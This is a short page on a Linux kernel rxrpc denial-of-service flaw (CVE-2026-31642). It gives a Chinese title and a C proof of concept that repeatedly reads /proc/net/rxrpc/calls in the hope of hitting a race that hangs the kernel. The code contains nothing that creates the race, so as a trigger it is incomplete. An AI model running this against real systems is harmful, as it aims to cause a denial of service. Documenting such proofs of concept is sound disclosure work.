CVE-2026-31642 Linux内核rxrpc调用删除拒绝服务漏洞

/* * PoC for CVE-2026-31642 * Trigger: Reading /proc/net/rxrpc/calls while rxrpc calls are being destroyed. * This code attempts to read the proc file which may cause an infinite loop * if the kernel is vulnerable and the race condition is hit. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> int main() { FILE *fp; char buffer[256]; printf("Attempting to read /proc/net/rxrpc/calls to trigger the race condition...\n"); // Open the specific proc file mentioned in the vulnerability description fp = fopen("/proc/net/rxrpc/calls", "r"); if (fp == NULL) { perror("Failed to open /proc/net/rxrpc/calls"); return 1; } // Read the file content. On a vulnerable system, this might hang. while (fgets(buffer, sizeof(buffer), fp) != NULL) { // Process output (or hang) } if (ferror(fp)) { perror("Error reading file"); } fclose(fp); printf("Read completed.\n"); return 0; }